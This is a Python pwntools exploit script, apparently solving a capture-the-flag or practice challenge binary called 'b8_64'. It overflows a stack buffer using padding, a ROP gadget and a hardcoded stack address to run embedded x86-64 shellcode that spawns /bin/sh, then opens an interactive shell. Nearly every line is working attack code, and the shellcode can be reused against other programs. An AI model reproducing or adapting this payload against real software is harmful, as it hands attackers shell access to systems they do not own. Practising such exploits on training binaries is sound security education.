#Import pwntools
from pwn import *

#Start the target Process
target = process("./b8_64")

#Read first line of text
print target.recvline()

#Store shellcode in variab;e
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

#Construct padding
offset = "1"*29

#Declare ROP gadget
ROP = p64(0x0000000000400491)

#Declare address of our shellcode
adr = p64(0x7fffffffde50)

#Construct the payload
payload = shellcode + offset + ROP + adr

#Write the payload to a file for gdb purposes
p = open("in", "w")
p.write(payload)

#Send the payload
target.sendline(payload)

#Drop to an interactive shell
target.interactive()
